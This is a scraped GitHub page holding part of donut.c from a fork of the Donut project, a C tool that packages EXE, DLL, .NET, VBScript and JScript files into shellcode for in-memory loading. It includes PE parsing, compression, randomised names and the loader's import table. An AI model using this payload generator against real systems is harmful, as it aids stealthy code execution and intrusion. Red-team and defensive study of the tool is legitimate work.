forked from TheWover/donut
-
Notifications
You must be signed in to change notification settings - Fork 6
/
donut.c
2333 lines (2054 loc) · 74.7 KB
/
donut.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/**
BSD 3-Clause License
Copyright (c) 2019-2020, TheWover, Odzhan. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "donut.h"
#include "loader_exe_x86.h"
#include "loader_exe_x64.h"
#define PUT_BYTE(p, v) { *(uint8_t *)(p) = (uint8_t) (v); p = (uint8_t*)p + 1; }
#define PUT_HWORD(p, v) { t=v; memcpy((char*)p, (char*)&t, 2); p = (uint8_t*)p + 2; }
#define PUT_WORD(p, v) { t=v; memcpy((char*)p, (char*)&t, 4); p = (uint8_t*)p + 4; }
#define PUT_BYTES(p, v, n) { memcpy(p, v, n); p = (uint8_t*)p + n; }
// required for each API used by the loader
#define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32"
// These must be in the same order as the DONUT_INSTANCE structure defined in donut.h
static API_IMPORT api_imports[] = {
{KERNEL32_DLL, "LoadLibraryA"},
{KERNEL32_DLL, "GetProcAddress"},
{KERNEL32_DLL, "GetModuleHandleA"},
{KERNEL32_DLL, "VirtualAlloc"},
{KERNEL32_DLL, "VirtualFree"},
{KERNEL32_DLL, "VirtualQuery"},
{KERNEL32_DLL, "VirtualProtect"},
{KERNEL32_DLL, "Sleep"},
{KERNEL32_DLL, "MultiByteToWideChar"},
{KERNEL32_DLL, "GetUserDefaultLCID"},
{KERNEL32_DLL, "WaitForSingleObject"},
{KERNEL32_DLL, "CreateThread"},
{KERNEL32_DLL, "CreateFileA"},
{KERNEL32_DLL, "GetFileSizeEx"},
{KERNEL32_DLL, "GetThreadContext"},
{KERNEL32_DLL, "GetCurrentThread"},
{KERNEL32_DLL, "GetCurrentProcess"},
{KERNEL32_DLL, "GetCommandLineA"},
{KERNEL32_DLL, "GetCommandLineW"},
{KERNEL32_DLL, "HeapAlloc"},
{KERNEL32_DLL, "HeapReAlloc"},
{KERNEL32_DLL, "GetProcessHeap"},
{KERNEL32_DLL, "HeapFree"},
{KERNEL32_DLL, "GetLastError"},
{KERNEL32_DLL, "CloseHandle"},
{SHELL32_DLL, "CommandLineToArgvW"},
{OLEAUT32_DLL, "SafeArrayCreate"},
{OLEAUT32_DLL, "SafeArrayCreateVector"},
{OLEAUT32_DLL, "SafeArrayPutElement"},
{OLEAUT32_DLL, "SafeArrayDestroy"},
{OLEAUT32_DLL, "SafeArrayGetLBound"},
{OLEAUT32_DLL, "SafeArrayGetUBound"},
{OLEAUT32_DLL, "SysAllocString"},
{OLEAUT32_DLL, "SysFreeString"},
{OLEAUT32_DLL, "LoadTypeLib"},
{WININET_DLL, "InternetCrackUrlA"},
{WININET_DLL, "InternetOpenA"},
{WININET_DLL, "InternetConnectA"},
{WININET_DLL, "InternetSetOptionA"},
{WININET_DLL, "InternetReadFile"},
{WININET_DLL, "InternetQueryDataAvailable"},
{WININET_DLL, "InternetCloseHandle"},
{WININET_DLL, "HttpOpenRequestA"},
{WININET_DLL, "HttpSendRequestA"},
{WININET_DLL, "HttpQueryInfoA"},
{MSCOREE_DLL, "CorBindToRuntime"},
{MSCOREE_DLL, "CLRCreateInstance"},
{OLE32_DLL, "CoInitializeEx"},
{OLE32_DLL, "CoCreateInstance"},
{OLE32_DLL, "CoUninitialize"},
{NTDLL_DLL, "RtlEqualUnicodeString"},
{NTDLL_DLL, "RtlEqualString"},
{NTDLL_DLL, "RtlUnicodeStringToAnsiString"},
{NTDLL_DLL, "RtlInitUnicodeString"},
{NTDLL_DLL, "RtlExitUserThread"},
{NTDLL_DLL, "RtlExitUserProcess"},
{NTDLL_DLL, "RtlCreateUnicodeString"},
{NTDLL_DLL, "RtlGetCompressionWorkSpaceSize"},
{NTDLL_DLL, "RtlDecompressBuffer"},
{NTDLL_DLL, "NtContinue"},
{NTDLL_DLL, "NtCreateSection"},
{NTDLL_DLL, "NtMapViewOfSection"},
{NTDLL_DLL, "NtUnmapViewOfSection"},
//{KERNEL32_DLL, "AddVectoredExceptionHandler"},
//{KERNEL32_DLL, "RemoveVectoredExceptionHandler"},
//{NTDLL_DLL, "RtlFreeUnicodeString"},
//{NTDLL_DLL, "RtlFreeString"},
{ NULL, NULL } // last one always contains two NULL pointers
};
// required to load .NET assemblies
static GUID xCLSID_CorRuntimeHost = {
0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}};
static GUID xIID_ICorRuntimeHost = {
0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}};
static GUID xCLSID_CLRMetaHost = {
0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}};
static GUID xIID_ICLRMetaHost = {
0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}};
static GUID xIID_ICLRRuntimeInfo = {
0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}};
static GUID xIID_AppDomain = {
0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13}};
// required to load VBS and JS files
static GUID xIID_IUnknown = {
0x00000000, 0x0000, 0x0000, {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
static GUID xIID_IDispatch = {
0x00020400, 0x0000, 0x0000, {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
static GUID xIID_IHost = {
0x91afbd1b, 0x5feb, 0x43f5, {0xb0, 0x28, 0xe2, 0xca, 0x96, 0x06, 0x17, 0xec}};
static GUID xIID_IActiveScript = {
0xbb1a2ae1, 0xa4f9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
static GUID xIID_IActiveScriptSite = {
0xdb01a1e3, 0xa42b, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
static GUID xIID_IActiveScriptSiteWindow = {
0xd10f6761, 0x83e9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
static GUID xIID_IActiveScriptParse32 = {
0xbb1a2ae2, 0xa4f9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
static GUID xIID_IActiveScriptParse64 = {
0xc7ef7658, 0xe1ee, 0x480e, {0x97, 0xea, 0xd5, 0x2c, 0xb4, 0xd7, 0x6d, 0x17}};
static GUID xCLSID_VBScript = {
0xB54F3741, 0x5B07, 0x11cf, {0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8}};
static GUID xCLSID_JScript = {
0xF414C260, 0x6AC0, 0x11CF, {0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58}};
// where to store information about input file
file_info fi;
// return pointer to DOS header
static PIMAGE_DOS_HEADER DosHdr(void *map) {
return (PIMAGE_DOS_HEADER)map;
}
// return pointer to NT headers
static PIMAGE_NT_HEADERS NtHdr (void *map) {
return (PIMAGE_NT_HEADERS) ((uint8_t*)map + DosHdr(map)->e_lfanew);
}
// return pointer to File header
static PIMAGE_FILE_HEADER FileHdr (void *map) {
return &NtHdr(map)->FileHeader;
}
// determines CPU architecture of binary
static int is32 (void *map) {
return FileHdr(map)->Machine == IMAGE_FILE_MACHINE_I386;
}
// return pointer to Optional header
static void* OptHdr (void *map) {
return (void*)&NtHdr(map)->OptionalHeader;
}
static PIMAGE_DATA_DIRECTORY Dirs (void *map) {
if (is32(map)) {
return ((PIMAGE_OPTIONAL_HEADER32)OptHdr(map))->DataDirectory;
} else {
return ((PIMAGE_OPTIONAL_HEADER64)OptHdr(map))->DataDirectory;
}
}
// valid dos header?
static int valid_dos_hdr (void *map) {
PIMAGE_DOS_HEADER dos = DosHdr(map);
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return 0;
return (dos->e_lfanew != 0);
}
// valid nt headers
static int valid_nt_hdr (void *map) {
return NtHdr(map)->Signature == IMAGE_NT_SIGNATURE;
}
static ULONG64 rva2ofs (void *base, ULONG64 rva) {
DWORD i;
ULONG64 ofs;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;
dos = (PIMAGE_DOS_HEADER)base;
nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
sh = (PIMAGE_SECTION_HEADER)
((PBYTE)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader);
for (i=0; i<nt->FileHeader.NumberOfSections; i++) {
if ((rva >= sh[i].VirtualAddress) &&
(rva < (sh[i].VirtualAddress + sh[i].SizeOfRawData))) {
ofs = sh[i].PointerToRawData + (rva - sh[i].VirtualAddress);
return ofs;
}
}
return -1;
}
#ifdef WINDOWS
#include "mmap-windows.c"
#endif
/**
* Function: map_file
* ----------------------------
* Open and map the contents of file into memory.
*
* INPUT : path = file to map
*
* OUTPUT : Donut error code.
*/
static int map_file(const char *path) {
struct stat fs;
DPRINT("Entering.");
if(stat(path, &fs) != 0) {
DPRINT("Unable to read size of file : %s", path);
return DONUT_ERROR_FILE_NOT_FOUND;
}
if(fs.st_size == 0) {
DPRINT("File appears to be empty!");
return DONUT_ERROR_FILE_EMPTY;
}
fi.fd = open(path, O_RDONLY);
if(fi.fd < 0) {
DPRINT("Unable to open %s for reading.", path);
return DONUT_ERROR_FILE_ACCESS;
}
fi.len = fs.st_size;
fi.data = mmap(NULL, fi.len, PROT_READ, MAP_PRIVATE, fi.fd, 0);
// no mapping? close file
if(fi.data == NULL) {
DPRINT("Unable to map file : %s", path);
close(fi.fd);
return DONUT_ERROR_NO_MEMORY;
}
return DONUT_ERROR_OK;
}
/**
* Function: unmap_file
* ----------------------------
* Releases memory allocated for file and closes descriptor.
*
* INPUT : Nothing
*
* OUTPUT : Donut error code
*/
static int unmap_file(void) {
if(fi.zdata != NULL) {
DPRINT("Releasing compressed data.");
free(fi.zdata);
fi.zdata = NULL;
}
if(fi.data != NULL) {
DPRINT("Unmapping input file.");
munmap(fi.data, fi.len);
fi.data = NULL;
}
if(fi.fd != 0) {
DPRINT("Closing input file.");
close(fi.fd);
fi.fd = 0;
}
return DONUT_ERROR_OK;
}
// only included for executable generator or debug build
#if defined(DONUT_EXE) || defined(DEBUG)
/**
* Function: file_diff
* ----------------------------
* Calculates the ratio between two lengths for compression and decompression.
*
* INPUT : new_len = new length
* : old_len = old length
*
* OUTPUT : ratio as a percentage
*/
static uint32_t file_diff(uint32_t new_len, uint32_t old_len) {
if (new_len <= UINT_MAX / 100) {
new_len *= 100;
} else {
old_len /= 100;
}
if (old_len == 0) {
old_len = 1;
}
return (100 - (new_len / old_len));
}
#endif
/**
* Function: compress_file
* ----------------------------
* Compresses the input file based on engine selected by user
*
* INPUT : Pointer to Donut configuration.
*
* OUTPUT : Donut error code.
*/
int compress_file(PDONUT_CONFIG c) {
int err = DONUT_ERROR_OK;
// RtlCompressBuffer is only available on Windows
#ifdef WINDOWS
typedef NTSTATUS (WINAPI *RtlGetCompressionWorkSpaceSize_t)(
USHORT CompressionFormatAndEngine,
PULONG CompressBufferWorkSpaceSize,
PULONG CompressFragmentWorkSpaceSize);
typedef NTSTATUS (WINAPI *RtlCompressBuffer_t)(
USHORT CompressionFormatAndEngine,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
ULONG UncompressedChunkSize,
PULONG FinalCompressedSize,
PVOID WorkSpace);
ULONG wspace, fspace;
NTSTATUS nts;
PVOID ws;
HMODULE m;
RtlGetCompressionWorkSpaceSize_t RtlGetCompressionWorkSpaceSize;
RtlCompressBuffer_t RtlCompressBuffer;
// compress file using RtlCompressBuffer?
if(c->compress == DONUT_COMPRESS_LZNT1 ||
c->compress == DONUT_COMPRESS_XPRESS)
{
m = GetModuleHandle("ntdll");
RtlGetCompressionWorkSpaceSize = (RtlGetCompressionWorkSpaceSize_t)GetProcAddress(m, "RtlGetCompressionWorkSpaceSize");
RtlCompressBuffer = (RtlCompressBuffer_t)GetProcAddress(m, "RtlCompressBuffer");
if(RtlGetCompressionWorkSpaceSize == NULL || RtlCompressBuffer == NULL) {
DPRINT("Unable to resolve compression API");
return DONUT_ERROR_COMPRESSION;
}
DPRINT("Reading fragment and workspace size");
nts = RtlGetCompressionWorkSpaceSize(
(c->compress - 1) | COMPRESSION_ENGINE_MAXIMUM,
&wspace, &fspace);
if(nts == 0) {
DPRINT("workspace size : %"PRId32" | fragment size : %"PRId32, wspace, fspace);
ws = malloc(wspace);
if(ws != NULL) {
DPRINT("Allocating memory for compressed data.");
fi.zdata = malloc(fi.len);
if(fi.zdata != NULL) {
DPRINT("Compressing %p to %p with RtlCompressBuffer(%s)",
fi.data, fi.zdata,
c->compress == DONUT_COMPRESS_LZNT1 ? "LZNT" : "XPRESS");
nts = RtlCompressBuffer(
(c->compress - 1) | COMPRESSION_ENGINE_MAXIMUM,
fi.data, fi.len, fi.zdata, fi.len, 0,
(PULONG)&fi.zlen, ws);
if(nts != 0) {
DPRINT("NTSTATUS : %lx", nts);
err = DONUT_ERROR_COMPRESSION;
}
} else err = DONUT_ERROR_NO_MEMORY;
free(ws);
} else err = DONUT_ERROR_NO_MEMORY;
} else err = DONUT_ERROR_COMPRESSION;
}
#endif
if(c->compress == DONUT_COMPRESS_APLIB) {
DPRINT("Obtaining size of compressed data from aP_max_packed_size() and allocating memory");
fi.zdata = malloc(aP_max_packed_size(fi.len));
if(fi.zdata != NULL) {
DPRINT("Obtaining size of work memory from aP_workmem_size() and allocating memory");
uint8_t *workmem = malloc(aP_workmem_size(fi.len));
if(workmem != NULL) {
DPRINT("Compressing with aP_pack()");
fi.zlen = aP_pack(fi.data, fi.zdata, fi.len, workmem, NULL, NULL);
if(fi.zlen == APLIB_ERROR) err = DONUT_ERROR_COMPRESSION;
free(workmem);
} else err = DONUT_ERROR_NO_MEMORY;
} else err = DONUT_ERROR_NO_MEMORY;
}
// if compression is specified
if(err == DONUT_ERROR_OK && c->compress != DONUT_COMPRESS_NONE) {
// set the compressed length in configuration
c->zlen = fi.zlen;
DPRINT("Original file size : %"PRId32 " | Compressed : %"PRId32, fi.len, fi.zlen);
DPRINT("File size reduced by %"PRId32"%%", file_diff(fi.zlen, fi.len));
}
DPRINT("Leaving with error : %" PRId32, err);
return err;
}
/**
* Function: read_file_info
* ----------------------------
* Reads information about the input file.
*
* INPUT : Pointer to Donut configuration.
*
* OUTPUT : Donut error code.
*/
static int read_file_info(PDONUT_CONFIG c) {
PIMAGE_NT_HEADERS nt;
PIMAGE_DATA_DIRECTORY dir;
PMDSTORAGESIGNATURE pss;
PIMAGE_COR20_HEADER cor;
DWORD dll, rva, cpu;
ULONG64 ofs;
PCHAR ext;
int err = DONUT_ERROR_OK;
DPRINT("Entering.");
// invalid parameters passed?
if(c->input[0] == 0) {
DPRINT("No input file provided.");
return DONUT_ERROR_INVALID_PARAMETER;
}
DPRINT("Checking extension of %s", c->input);
ext = strrchr(c->input, '.');
// no extension? exit
if(ext == NULL) {
DPRINT("Input file has no extension.");
return DONUT_ERROR_FILE_INVALID;
}
DPRINT("Extension is \"%s\"", ext);
// VBScript?
if (strcasecmp(ext, ".vbs") == 0) {
DPRINT("File is VBS");
fi.type = DONUT_MODULE_VBS;
fi.arch = DONUT_ARCH_ANY;
} else
// JScript?
if (strcasecmp(ext, ".js") == 0) {
DPRINT("File is JS");
fi.type = DONUT_MODULE_JS;
fi.arch = DONUT_ARCH_ANY;
} else
// EXE?
if (strcasecmp(ext, ".exe") == 0) {
DPRINT("File is EXE");
fi.type = DONUT_MODULE_EXE;
} else
// DLL?
if (strcasecmp(ext, ".dll") == 0) {
DPRINT("File is DLL");
fi.type = DONUT_MODULE_DLL;
} else {
DPRINT("Don't recognize file extension.");
return DONUT_ERROR_FILE_INVALID;
}
DPRINT("Mapping %s into memory", c->input);
err = map_file(c->input);
if(err != DONUT_ERROR_OK) return err;
// file is EXE or DLL?
if(fi.type == DONUT_MODULE_DLL ||
fi.type == DONUT_MODULE_EXE)
{
if(!valid_dos_hdr(fi.data)) {
DPRINT("EXE/DLL has no valid DOS header.");
err = DONUT_ERROR_FILE_INVALID;
goto cleanup;
}
if(!valid_nt_hdr(fi.data)) {
DPRINT("EXE/DLL has no valid NT header.");
err = DONUT_ERROR_FILE_INVALID;
goto cleanup;
}
dir = Dirs(fi.data);
if(dir == NULL) {
DPRINT("EXE/DLL has no valid image directories.");
err = DONUT_ERROR_FILE_INVALID;
goto cleanup;
}
DPRINT("Checking characteristics");
nt = NtHdr(fi.data);
dll = nt->FileHeader.Characteristics & IMAGE_FILE_DLL;
cpu = is32(fi.data);
rva = dir[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress;
// set the CPU architecture for file
fi.arch = cpu ? DONUT_ARCH_X86 : DONUT_ARCH_X64;
// if COM directory present
if(rva != 0) {
DPRINT("COM Directory found indicates .NET assembly.");
// if it has an export address table, we assume it's a .NET
// mixed assembly. curently unsupported by the PE loader.
if(dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress != 0) {
DPRINT("File looks like a mixed (native and managed) assembly.");
err = DONUT_ERROR_MIXED_ASSEMBLY;
goto cleanup;
} else {
// set type to EXE or DLL assembly
fi.type = (dll) ? DONUT_MODULE_NET_DLL : DONUT_MODULE_NET_EXE;
// try read the runtime version from meta header
strncpy(fi.ver, "v4.0.30319", DONUT_VER_LEN - 1);
ofs = rva2ofs(fi.data, rva);
if (ofs != -1) {
cor = (PIMAGE_COR20_HEADER)(ofs + fi.data);
rva = cor->MetaData.VirtualAddress;
if(rva != 0) {
ofs = rva2ofs(fi.data, rva);
if(ofs != -1) {
pss = (PMDSTORAGESIGNATURE)(ofs + fi.data);
DPRINT("Runtime version : %s", (char*)pss->pVersion);
strncpy(fi.ver, (char*)pss->pVersion, DONUT_VER_LEN - 1);
}
}
}
}
}
}
// assign length of file and type to configuration
c->len = fi.len;
c->mod_type = fi.type;
cleanup:
if(err != DONUT_ERROR_OK) {
DPRINT("Unmapping input file due to errors.");
unmap_file();
}
DPRINT("Leaving with error : %" PRId32, err);
return err;
}
/**
* Function: gen_random
* ----------------------------
* Generates pseudo-random bytes.
*
* INPUT : buf = where to store random bytes.
* : len = length of random bytes to generate.
*
* OUTPUT : 1 if ok, else 0
*/
static int gen_random(void *buf, uint64_t len) {
#if defined(WINDOWS)
HCRYPTPROV prov;
int ok;
// 1. acquire crypto context
if(!CryptAcquireContext(
&prov, NULL, NULL,
PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) return 0;
ok = (int)CryptGenRandom(prov, (DWORD)len, buf);
CryptReleaseContext(prov, 0);
return ok;
#else
int fd;
uint64_t r=0;
uint8_t *p=(uint8_t*)buf;
DPRINT("Opening /dev/urandom to acquire %li bytes", len);
fd = open("/dev/urandom", O_RDONLY);
if(fd > 0) {
for(r=0; r<len; r++, p++) {
if(read(fd, p, 1) != 1) break;
}
close(fd);
}
DPRINT("Acquired %li of %li bytes requested", r, len);
return r == len;
#endif
}
/**
* Function: gen_random_string
* ----------------------------
* Generates a pseudo-random string
*
* INPUT : output = pointer to buffer that receives string
* : len = length of string to generate
*
* OUTPUT : 1 if ok, else 0
*/
static int gen_random_string(void *output, uint64_t len) {
uint8_t rnd[DONUT_MAX_NAME];
int i;
char tbl[]="HMN34P67R9TWCXYF"; // https://stackoverflow.com/a/27459196
char *str = (char*)output;
if(len == 0 || len > (DONUT_MAX_NAME - 1)) return 0;
// generate DONUT_MAX_NAME random bytes
if(!gen_random(rnd, DONUT_MAX_NAME)) return 0;
// generate a string using unambiguous characters
for(i=0; i<len; i++) {
str[i] = tbl[rnd[i] % (sizeof(tbl) - 1)];
}
str[i] = 0;
return 1;
}
/**
* Function: build_module
* ----------------------------
* Create a Donut module from Donut configuration
*
* INPUT : A pointer to a donut configuration
*
* OUTPUT : Donut error code.
*/
static int build_module(PDONUT_CONFIG c) {
PDONUT_MODULE mod = NULL;
uint32_t mod_len, data_len;
void *data;
int err = DONUT_ERROR_OK;
DPRINT("Entering.");
// Compress the input file?
if(c->compress != DONUT_COMPRESS_NONE) {
err = compress_file(c);
if(err != DONUT_ERROR_OK) {
DPRINT("compress_file() failed");
return err;
}
DPRINT("Assigning %"PRIi32 " bytes of %p to data", fi.zlen, fi.zdata);
data = fi.zdata;
data_len = fi.zlen;
} else {
DPRINT("Assigning %"PRIi32 " bytes of %p to data", fi.len, fi.data);
data = fi.data;
data_len = fi.len;
}
// Allocate memory for module information and contents of file
mod_len = data_len + sizeof(DONUT_MODULE);
DPRINT("Allocating %" PRIi32 " bytes of memory for DONUT_MODULE", mod_len);
mod = calloc(mod_len, 1);
// Memory not allocated? exit
if(mod == NULL) {
DPRINT("calloc() failed");
return DONUT_ERROR_NO_MEMORY;
}
// Set the module info
mod->type = fi.type;
mod->thread = c->thread;
mod->compress = c->compress;
mod->unicode = c->unicode;
mod->zlen = fi.zlen;
mod->len = fi.len;
// DotNet assembly?
if(mod->type == DONUT_MODULE_NET_DLL ||
mod->type == DONUT_MODULE_NET_EXE)
{
// If no domain name specified in configuration
if(c->domain[0] == 0) {
// if entropy is enabled
if(c->entropy != DONUT_ENTROPY_NONE) {
// generate a random name
if(!gen_random_string(c->domain, DONUT_DOMAIN_LEN)) {
DPRINT("gen_random_string() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
}
}
DPRINT("Domain : %s", c->domain[0] == 0 ? "Default" : c->domain);
if(c->domain[0] != 0) {
// Set the domain name in module
strncpy(mod->domain, c->domain, DONUT_DOMAIN_LEN);
} else {
memset(mod->domain, 0, DONUT_DOMAIN_LEN);
}
// Assembly is DLL? Copy the class and method
if(mod->type == DONUT_MODULE_NET_DLL) {
DPRINT("Class : %s", c->cls);
strncpy(mod->cls, c->cls, DONUT_MAX_NAME-1);
DPRINT("Method : %s", c->method);
strncpy(mod->method, c->method, DONUT_MAX_NAME-1);
}
// If no runtime specified in configuration, use version from assembly
if(c->runtime[0] == 0) {
strncpy(c->runtime, fi.ver, DONUT_MAX_NAME-1);
}
DPRINT("Runtime : %s", c->runtime);
strncpy(mod->runtime, c->runtime, DONUT_MAX_NAME-1);
} else
// Unmanaged DLL? copy function name to module
if(mod->type == DONUT_MODULE_DLL && c->method[0] != 0) {
DPRINT("DLL function : %s", c->method);
strncpy(mod->method, c->method, DONUT_MAX_NAME-1);
}
// Parameters specified?
if(c->args[0] != 0) {
// If file type is unmanaged EXE
if(mod->type == DONUT_MODULE_EXE) {
// If entropy is disabled
if(c->entropy == DONUT_ENTROPY_NONE) {
// Set to "AAAA"
memset(mod->args, 'A', 4);
} else {
// Generate 4-byte random name
if(!gen_random_string(mod->args, 4)) {
DPRINT("gen_random_string() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
}
// Add space
mod->args[4] = ' ';
}
//
// Copy parameters
strncat(mod->args, c->args, DONUT_MAX_NAME-6);
}
DPRINT("Copying data to module");
memcpy(&mod->data, data, data_len);
// update configuration with pointer to module
c->mod = mod;
c->mod_len = mod_len;
cleanup:
// if there was an error, free memory for module
if(err != DONUT_ERROR_OK) {
DPRINT("Releasing memory due to errors.");
free(mod);
}
DPRINT("Leaving with error : %" PRId32, err);
return err;
}
/**
* Function: build_instance
* ----------------------------
* Creates the data necessary for main loader to execute VBS/JS/EXE/DLL files in memory.
*
* INPUT : Pointer to a Donut configuration.
*
* OUTPUT : Donut error code.
*/
static int build_instance(PDONUT_CONFIG c) {
DONUT_CRYPT inst_key, mod_key;
PDONUT_INSTANCE inst = NULL;
int cnt, inst_len;
uint64_t dll_hash;
int err = DONUT_ERROR_OK;
DPRINT("Entering.");
// Allocate memory for the size of instance based on the type
DPRINT("Allocating memory for instance");
inst_len = sizeof(DONUT_INSTANCE);
// if the module is embedded, add the size of module
// that will be appended to the end of structure
if(c->inst_type == DONUT_INSTANCE_EMBED) {
DPRINT("The size of module is %" PRIi32 " bytes. "
"Adding to size of instance.", c->mod_len);
